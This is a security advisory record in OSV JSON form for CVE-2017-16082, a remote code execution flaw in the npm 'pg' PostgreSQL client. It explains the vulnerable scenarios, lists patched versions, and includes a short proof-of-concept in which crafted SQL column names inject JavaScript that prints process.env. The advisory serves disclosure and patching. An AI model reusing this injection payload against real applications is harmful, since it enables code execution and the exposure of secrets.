{"id":"GHSA-wc9v-mj63-m9g5","summary":"Remote Code Execution in pg","details":"Affected versions of `pg` contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name. \n\nThere are two specific scenarios in which it is likely for an application to be vulnerable:\n1. The application executes unsafe, user-supplied sql which contains malicious column names.\n2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.\n\n## Proof of Concept\n```\nconst { Client } = require('pg')\nconst client = new Client()\nclient.connect()\n\nconst sql = `SELECT 1 AS \"\\\\'/*\", 2 AS \"\\\\'*/\\n + console.log(process.env)] = null;\\n//\"`\n\nclient.query(sql, (err, res) =\u003e {\n  client.end()\n})\n```\n\n\n## Recommendation\n\n* Version 2.x.x: Update to version 2.11.2 or later.\n* Version 3.x.x: Update to version 3.6.4 or later.\n* Version 4.x.x: Update to version 4.5.7 or later.\n* Version 5.x.x: Update to version 5.2.1 or later.\n* Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )\n* Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )","aliases":["CVE-2017-16082"],"modified":"2023-11-08T03:59:03.759366Z","published":"2018-07-24T19:44:42Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2020-06-16T22:00:03Z","nvd_published_at":null,"cwe_ids":["CWE-94"],"severity":"CRITICAL"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16082"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wc9v-mj63-m9g5"},{"type":"WEB","url":"https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability"},{"type":"WEB","url":"https://www.npmjs.com/advisories/521"}],"affected":[{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.6.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.2.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.0.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.1.0"},{"fixed":"6.1.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.2.0"},{"fixed":"6.2.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.3.0"},{"fixed":"6.3.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.4.0"},{"fixed":"6.4.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}},{"package":{"name":"pg","ecosystem":"npm","purl":"pkg:npm/pg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.1.0"},{"fixed":"7.1.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-wc9v-mj63-m9g5/GHSA-wc9v-mj63-m9g5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}